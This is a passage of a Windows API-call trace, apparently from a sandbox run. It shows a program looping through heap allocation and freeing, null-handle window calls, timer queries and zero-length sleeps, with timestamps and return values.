() returned 0x1143533 [0033.214] Sleep (dwMilliseconds=0x0) [0033.214] GetProcessHeap () returned 0x790000 [0033.214] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.214] GetProcessHeap () returned 0x790000 [0033.214] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.214] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.214] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.214] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.214] timeGetTime () returned 0x1143533 [0033.214] Sleep (dwMilliseconds=0x0) [0033.214] GetProcessHeap () returned 0x790000 [0033.215] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.215] GetProcessHeap () returned 0x790000 [0033.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.215] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.215] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.215] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.215] timeGetTime () returned 0x1143533 [0033.215] Sleep (dwMilliseconds=0x0) [0033.215] GetProcessHeap () returned 0x790000 [0033.215] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.215] GetProcessHeap () returned 0x790000 [0033.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.215] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.215] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.215] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.215] timeGetTime () returned 0x1143533 [0033.215] Sleep (dwMilliseconds=0x0) [0033.215] GetProcessHeap () returned 0x790000 [0033.215] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.215] GetProcessHeap () returned 0x790000 [0033.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.215] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.215] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.215] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.215] timeGetTime () returned 0x1143533 [0033.215] Sleep (dwMilliseconds=0x0) [0033.215] GetProcessHeap () returned 0x790000 [0033.215] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.215] GetProcessHeap () returned 0x790000 [0033.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.215] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.215] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.215] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.215] timeGetTime () returned 0x1143533 [0033.215] Sleep (dwMilliseconds=0x0) [0033.215] GetProcessHeap () returned 0x790000 [0033.215] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.216] GetProcessHeap () returned 0x790000 [0033.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.216] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.216] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.216] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.216] timeGetTime () returned 0x1143533 [0033.216] Sleep (dwMilliseconds=0x0) [0033.216] GetProcessHeap () returned 0x790000 [0033.216] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.216] GetProcessHeap () returned 0x790000 [0033.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.216] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.216] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.216] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.216] timeGetTime () returned 0x1143533 [0033.216] Sleep (dwMilliseconds=0x0) [0033.216] GetProcessHeap () returned 0x790000 [0033.216] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.216] GetProcessHeap () returned 0x790000 [0033.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.216] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.216] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.216] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.216] timeGetTime () returned 0x1143533 [0033.216] Sleep (dwMilliseconds=0x0) [0033.216] GetProcessHeap () returned 0x790000 [0033.216] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.217] GetProcessHeap () returned 0x790000 [0033.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.217] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.217] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.217] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.217] timeGetTime () returned 0x1143543 [0033.217] Sleep (dwMilliseconds=0x0) [0033.217] GetProcessHeap () returned 0x790000 [0033.217] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.217] GetProcessHeap () returned 0x790000 [0033.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.217] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.217] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.217] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.217] timeGetTime () returned 0x1143543 [0033.217] Sleep (dwMilliseconds=0x0) [0033.217] GetProcessHeap () returned 0x790000 [0033.217] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.217] GetProcessHeap () returned 0x790000 [0033.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.217] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.217] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.217] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.217] timeGetTime () returned 0x1143543 [0033.217] Sleep (dwMilliseconds=0x0) [0033.217] GetProcessHeap () returned 0x790000 [0033.217] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.217] GetProcessHeap () returned 0x790000 [0033.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.217] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.217] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.217] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.217] timeGetTime () returned 0x1143543 [0033.217] Sleep (dwMilliseconds=0x0) [0033.217] GetProcessHeap () returned 0x790000 [0033.217] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.218] GetProcessHeap () returned 0x790000 [0033.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.218] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.218] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.218] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.218] timeGetTime () returned 0x1143543 [0033.218] Sleep (dwMilliseconds=0x0) [0033.218] GetProcessHeap () returned 0x790000 [0033.218] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.218] GetProcessHeap () returned 0x790000 [0033.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.218] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.218] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.218] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.218] timeGetTime () returned 0x1143543 [0033.218] Sleep (dwMilliseconds=0x0) [0033.218] GetProcessHeap () returned 0x790000 [0033.218] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.218] GetProcessHeap () returned 0x790000 [0033.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.218] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.218] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.218] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.218] timeGetTime () returned 0x1143543 [0033.218] Sleep (dwMilliseconds=0x0) [0033.218] GetProcessHeap () returned 0x790000 [0033.218] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.218] GetProcessHeap () returned 0x790000 [0033.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.218] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.218] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.218] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.218] timeGetTime () returned 0x1143543 [0033.218] Sleep (dwMilliseconds=0x0) [0033.218] GetProcessHeap () returned 0x790000 [0033.218] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.219] GetProcessHeap () returned 0x790000 [0033.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.219] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.219] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.219] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.219] timeGetTime () returned 0x1143543 [0033.219] Sleep (dwMilliseconds=0x0) [0033.219] GetProcessHeap () returned 0x790000 [0033.219] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.219] GetProcessHeap () returned 0x790000 [0033.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.219] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.219] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.219] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.219] timeGetTime () returned 0x1143543 [0033.219] Sleep (dwMilliseconds=0x0) [0033.219] GetProcessHeap () returned 0x790000 [0033.219] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.219] GetProcessHeap () returned 0x790000 [0033.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.219] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.219] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.219] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.219] timeGetTime () returned 0x1143543 [0033.219] Sleep (dwMilliseconds=0x0) [0033.219] GetProcessHeap () returned 0x790000 [0033.219] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.219] GetProcessHeap () returned 0x790000 [0033.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.219] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.219] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.219] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.219] timeGetTime () returned 0x1143543 [0033.219] Sleep (dwMilliseconds=0x0) [0033.219] GetProcessHeap () returned 0x790000 [0033.219] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.220] GetProcessHeap () returned 0x790000 [0033.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.220] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.220] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.220] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.220] timeGetTime () returned 0x1143543 [0033.220] Sleep (dwMilliseconds=0x0) [0033.220] GetProcessHeap () returned 0x790000 [0033.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.220] GetProcessHeap () returned 0x790000 [0033.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.220] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.220] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.220] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.220] timeGetTime () returned 0x1143543 [0033.220] Sleep (dwMilliseconds=0x0) [0033.220] GetProcessHeap () returned 0x790000 [0033.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.220] GetProcessHeap () returned 0x790000 [0033.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.220] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.220] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.220] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.220] timeGetTime () returned 0x1143543 [0033.220] Sleep (dwMilliseconds=0x0) [0033.220] GetProcessHeap () returned 0x790000 [0033.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.220] GetProcessHeap () returned 0x790000 [0033.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.220] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.220] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.220] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.220] timeGetTime () returned 0x1143543 [0033.220] Sleep (dwMilliseconds=0x0) [0033.220] GetProcessHeap () returned 0x790000 [0033.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.220] GetProcessHeap () returned 0x790000 [0033.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.221] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.221] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.221] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.221] timeGetTime () returned 0x1143543 [0033.221] Sleep (dwMilliseconds=0x0) [0033.221] GetProcessHeap () returned 0x790000 [0033.221] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.221] GetProcessHeap () returned 0x790000 [0033.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.221] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.221] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.221] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.221] timeGetTime () returned 0x1143543 [0033.221] Sleep (dwMilliseconds=0x0) [0033.221] GetProcessHeap () returned 0x790000 [0033.221] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.221] GetProcessHeap () returned 0x790000 [0033.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.221] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.221] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.221] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.221] timeGetTime () returned 0x1143543 [0033.221] Sleep (dwMilliseconds=0x0) [0033.221] GetProcessHeap () returned 0x790000 [0033.221] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.221] GetProcessHeap () returned 0x790000 [0033.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.221] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.221] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.221] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.221] timeGetTime () returned 0x1143543 [0033.221] Sleep (dwMilliseconds=0x0) [0033.221] GetProcessHeap () returned 0x790000 [0033.221] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.221] GetProcessHeap () returned 0x790000 [0033.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.222] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.222] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.222] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.222] timeGetTime () returned 0x1143543 [0033.222] Sleep (dwMilliseconds=0x0) [0033.222] GetProcessHeap () returned 0x790000 [0033.222] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.222] GetProcessHeap () returned 0x790000 [0033.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.222] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.222] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.222] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.222] timeGetTime () returned 0x1143543 [0033.222] Sleep (dwMilliseconds=0x0) [0033.222] GetProcessHeap () returned 0x790000 [0033.222] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.222] GetProcessHeap () returned 0x790000 [0033.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.222] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.222] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.222] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.222] timeGetTime () returned 0x1143543 [0033.222] Sleep (dwMilliseconds=0x0) [0033.222] GetProcessHeap () returned 0x790000 [0033.222] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.222] GetProcessHeap () returned 0x790000 [0033.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.222] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.222] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.222] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.222] timeGetTime () returned 0x1143543 [0033.222] Sleep (dwMilliseconds=0x0) [0033.222] GetProcessHeap () returned 0x790000 [0033.222] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.222] GetProcessHeap () returned 0x790000 [0033.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.223] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.223] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.223] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.223] timeGetTime () returned 0x1143543 [0033.223] Sleep (dwMilliseconds=0x0) [0033.223] GetProcessHeap () returned 0x790000 [0033.223] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.223] GetProcessHeap () returned 0x790000 [0033.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.223] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.223] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.223] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.223] timeGetTime () returned 0x1143543 [0033.223] Sleep (dwMilliseconds=0x0) [0033.223] GetProcessHeap () returned 0x790000 [0033.223] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.223] GetProcessHeap () returned 0x790000 [0033.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.223] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.223] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.223] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.223] timeGetTime () returned 0x1143543 [0033.223] Sleep (dwMilliseconds=0x0) [0033.223] GetProcessHeap () returned 0x790000 [0033.223] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.223] GetProcessHeap () returned 0x790000 [0033.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.223] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.223] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.223] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.223] timeGetTime () returned 0x1143543 [0033.223] Sleep (dwMilliseconds=0x0) [0033.223] GetProcessHeap () returned 0x790000 [0033.223] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.223] GetProcessHeap () returned 0x790000 [0033.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.224] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.224] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.224] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.224] timeGetTime () returned 0x1143543 [0033.224] Sleep (dwMilliseconds=0x0) [0033.224] GetProcessHeap () returned 0x790000 [0033.224] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.224] GetProcessHeap () returned 0x790000 [0033.224] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.224] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.224] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.224] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.224] timeGetTime () returned 0x1143543 [0033.224] Sleep (dwMilliseconds=0x0) [0033.224] GetProcessHeap () returned 0x790000 [0033.224] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.224] GetProcessHeap () returned 0x790000 [0033.224] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.224] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.224] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.224] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.224] timeGetTime () returned 0x1143543 [0033.224] Sleep (dwMilliseconds=0x0) [0033.224] GetProcessHeap () returned 0x790000 [0033.224] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.224] GetProcessHeap () returned 0x790000 [0033.224] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.224] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.224] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.224] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.224] timeGetTime () returned 0x1143543 [0033.224] Sleep (dwMilliseconds=0x0) [0033.224] GetProcessHeap () returned 0x790000 [0033.224] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.224] GetProcessHeap () returned 0x790000 [0033.224] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.225] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.225] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.225] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.225] timeGetTime () returned 0x1143543 [0033.225] Sleep (dwMilliseconds=0x0) [0033.225] GetProcessHeap () returned 0x790000 [0033.225] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.225] GetProcessHeap () returned 0x790000 [0033.225] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.225] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.225] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.225] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.225] timeGetTime () returned 0x1143543 [0033.225] Sleep (dwMilliseconds=0x0) [0033.225] GetProcessHeap () returned 0x790000 [0033.225] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.225] GetProcessHeap () returned 0x790000 [0033.225] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.225] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.225] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.225] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.225] timeGetTime () returned 0x1143543 [0033.225] Sleep (dwMilliseconds=0x0) [0033.225] GetProcessHeap () returned 0x790000 [0033.225] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.225] GetProcessHeap () returned 0x790000 [0033.225] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.225] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.225] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.225] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.225] timeGetTime () returned 0x1143543 [0033.225] Sleep (dwMilliseconds=0x0) [0033.225] GetProcessHeap () returned 0x790000 [0033.225] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.225] GetProcessHeap () returned 0x790000 [0033.225] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.225] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.226] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.226] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.226] timeGetTime () returned 0x1143543 [0033.226] Sleep (dwMilliseconds=0x0) [0033.226] GetProcessHeap () returned 0x790000 [0033.226] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.226] GetProcessHeap () returned 0x790000 [0033.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.226] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.226] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.226] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.226] timeGetTime () returned 0x1143543 [0033.226] Sleep (dwMilliseconds=0x0) [0033.226] GetProcessHeap () returned 0x790000 [0033.226] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.226] GetProcessHeap () returned 0x790000 [0033.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.226] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.226] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.226] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.226] timeGetTime () returned 0x1143543 [0033.226] Sleep (dwMilliseconds=0x0) [0033.226] GetProcessHeap () returned 0x790000 [0033.226] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.226] GetProcessHeap () returned 0x790000 [0033.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.226] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.226] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.226] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.226] timeGetTime () returned 0x1143543 [0033.226] Sleep (dwMilliseconds=0x0) [0033.226] GetProcessHeap () returned 0x790000 [0033.226] 